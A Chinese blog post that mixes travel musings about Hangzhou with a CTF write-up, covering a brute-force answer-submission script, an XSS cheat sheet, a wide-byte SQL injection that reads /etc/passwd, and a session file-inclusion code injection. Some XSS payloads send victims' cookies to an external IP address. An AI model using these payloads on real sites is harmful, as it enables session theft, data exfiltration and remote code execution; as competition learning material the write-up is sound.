最近比赛比较多的,在老战友kun和小强的邀请下,参加了这个比赛,主要是也想去杭州游玩一番,顺便省下交通费用,之前不曾去过杭州,听说西湖很大,隔岸不见牛马
之前与旧友交谈,推荐了几家菜馆,不过兴致不大。记得去天津时,初夏的夜晚海河边蛙噪虫鸣,隔三差五的便有带着大沿帽子的人在钓鱼,鱼篓里收获或多或少,手提的灯发出淡黄色的光,这就吧河堤上的我隔开成了两个境界,所以决心这次如果到杭州边一定要找个阳光好的日子去西湖边钓鱼,还要在苏堤架上火锅,边吃边钓,何等的逍遥快活。
这次初赛题出的有些意思,不过难度还好,分数机制也很巧妙,总之是不错的比赛,因为平常没有涉及破解方面的知识,所以记录下几道渗透方面的题,
鸟叔这道题其实是考察一个脚本的编写,分别是post和get两种提交的方法,脚本语言的编写效率果然很高
import urllib import httplib import time from re import search for i in range(140,151): url='http://lab.sh1n3.cn/howmany.php' #POST headers = {'Host': 'lab.sh1n3.cn', 'Connection': 'keep-alive', 'Content-Length': '24', 'Cache-Control': 'max-age=0', 'Origin': 'http://lab.sh1n3.cn', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Referer': 'http://lab.sh1n3.cn/howmany.php', 'Accept-Encoding': 'gzip,deflate,sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Accept-Charset': 'GBK,utf-8;q=0.7,*;q=0.3', 'Cookie': 'cookie_mark=1351955165'} postData = {'answer' : i,'submit':'Submit'} postData = urllib.urlencode(postData) conn = httplib.HTTPConnection('lab.sh1n3.cn', 80) conn.request('POST','/howmany.php',postData,headers) res = conn.getresponse() data = res.read() print res.reason print i if search('How many developers?',data): print 'normal' if search('Fast',data): print 'Fast' if search('key',data): print 'key' print data break ''' #Get getData=[('answer',i),('submit','Submit')] url = url + "?" + urllib.urlencode(getData) x=urllib.urlopen(url) y=x.read() x.close() print i print url print y if len(y)!=431: print 'ok' exit(0) if search('How many developers?',y): print 'normal' if search('Fast',y): print 'Fast' if search('key',y) print 'key' print data ''' time.sleep(1)
下面是几种常用的xss的语句
相对目录转跳
javascript:window.open("showkey.php"); <script>location='/showkey.php';</script> <script>location='/hacker2/showkey.php';</script>
一般用来测试cookie是否能读取
<script>alert(document.cookie)</script> <script>document.write(document.cookie);</script>
窃取cookie,需要外网ip,第三条如果没有过滤理论上什么都可以写
<img src="'http://112.67.131.63/cookie/cookie.php?cookie=escape(document.cookies)" width=0 height=0 border=0 /> <script>document.location='http://112.67.131.63/cookie/cookie.php?cookie=escape(document.cookie);</script> <SCRIPT SRC=http://112.67.131.63/cookie/cookie.js></SCRIPT>
源代码如下,默认编码格式为utf-8
<html> <head><title>Penetration</title> <meta charset="utf-8"/> </head> <?php if($_GET[view]) { $con = mysql_connect("127.0.0.1","root","nihaoa"); if (!$con) { die('Could not connect: ' . mysql_error()); } $_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr'); echo ("$_GET[view]<br>"); echo (preg_replace('/(.)/es',"str_pad(dechex(ord('\\1')),2,'0',STR_PAD_LEFT)",$_GET[view])); echo ("<br>"); if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])){ exit("Access Denied"); } if(strlen($_GET[view])>17) exit("Access Denied"); echo ("select * from test where id='$_GET[view]' and num='$_GET[stat]'<br></td></tr>"); $q=mysql_fetch_array(mysql_query("select * from test.test where id='$_GET[view]'",$con)); echo ("</td><td>ID : $q[0]<br>Title : $q[1]<br>Timestamp : $q[2]<br>Content : $q[3]</td></tr>"); } ?>
$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
在默认情况下 PHP 的magic_quotes_gpc为on 对所有的get post cookie提交的参数执行addslashes(),在单引号等符号之前加转义的反斜杠
我们可以利用宽字节注入来绕过这种转义,
这个宽字节主要是利用双字节编码的第二个字节包含5c这个值,和前面的字节组成一个汉字,但是对于utf-8的编码由于其双字节编码的第二位不包含5c,所以不能用双字节注入
Unicode符号范围 | UTF-8编码方式 (十六进制) | (二进制) --------------------+--------------------------------------------- 0000 0000-0000 007F | 0xxxxxxx 0000 0080-0000 07FF | 110xxxxx 10xxxxxx 0000 0800-0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx 0001 0000-0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
因为ereg这个函数支持正则,所以括号要用反斜杠做转义
if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])){ exit("Access Denied"); } if(strlen($_GET[view])>17) exit("Access Denied");
绕过空格过滤可以用括号,与大括号
select(id)from[name]也可以用以下编码绕过空格,网上很多 + %2b 能代替空格,但是+在浏览器下就直接被解释成%20了,根本起不到绕过作用。
nt %09 vt %0b nl %0a er %0d
根据以上思路构造出了简单的注入语句,%23 # 注释后面的字符,使用--%0d也可以
http://112.67.131.16/test/view.php?view=%d5'or%0did=1%23
不过下面的思路却被 17 个字节的长度限制卡死了,虽然知道要使用load_file来读取文件,但是长度不够,而且括号也被过滤,
想使用%00做字符串截断,发现会被转换成\0
后来发现他是一道Secuinside CTF之中的题目,有一个外国人给出了题解,主办方竟然原封不动的把这道题照抄上了,真是很不负责任。
不过这里对原作的思路很是敬佩,这里把地址贴上http://www.tuicool.com/articles/BzAF32
原作构造的语句,%5c会被变成%5c%5c,这样第一个参数就变成(%bf%5c)%5c,这第二个%5c转意掉后面的引号
这样就直接能从第二个参数上构造注入语句,因为第二个参数没有做任何过滤··所以····
/index.php?view=%bf%5C &stat=+union+select+1,user(),version(),4,5,6,7--+-这样的话sql语句就变成这样,引号被转义,两个变量变成一个查询,神来之笔
where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));解决这道题的话要使用一个··upload_file(),函数中可以使用Hex和chr()来逃避单引号,不过在这里无所谓
/index.php?view=%bf%5C &stat=+union+select+1,user(),version(),4,5,6,7--+-
/index.php?view=%bf%5C &stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-
原来我才刚刚开始啊。
去http://ctf.secuinside.com/about.php看了一下,是一个韩国的比赛,也是渗透和破解两部分,渗透分为三关,第一关就是上面的注入,
第二关是一个,文件包含漏洞,源代码依然被给出了,session内容会被存在一个文件之中,一般会以sess_作为前缀,
一般情况下sessionID是以MD5加码之后存在cookie里面的,一些页面根据session里的值来决定显示内容,这里吧session文件包含进来,
应该只是为题目服务,并没有实际意义。
在文件之中session的值是顺序列出,这题的思路是吧php代码写入session文件之中,被include执行之后达到插入代码的目的。
<?php session_start(); //在此页面中与其他页面共用session if(eregi('[0-9]', $_SESSION['PHPSESSID'])) exit; if(eregi('/|\.', $_SESSION['PHPSESSID'])) exit; include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']); //参数被带入include有文件包含的机会 ?>
<? @session_start(); include "conn.php"; extract($_GET); ?>
/index.php?_SESSION[PHPSESSID]=reiners Cookie: PHPSESSID=reiners如果这样构造代码,便可以列出本地的所有文件
/index.php?_SESSION[PHPSESSID]=reiners &_SESSION[CODE]=<?print_r(glob(chr(42)))?> Cookie: PHPSESSID=reiners
<? system("echo '????' > readme/ppppaassssswordddd.txt"); ?> <h1><a href=passwordddddddddddddddd.phps>source</a></h1> <? system("rm -f readme/ppppaassssswordddd.txt"); ?>
<?php while(!($a=file_get_contents( chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116)) )){}print_r($a) ?>
使用head request也可以使php停止在第一个输出的地方,但没有仔细研究
https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf
A very nice challenge with several steps, thank you to the author!
比赛结束,在和另外一队狼狈为奸的情况下,得到第十的成绩,不知道该失落还是高兴,总之静待决赛吧。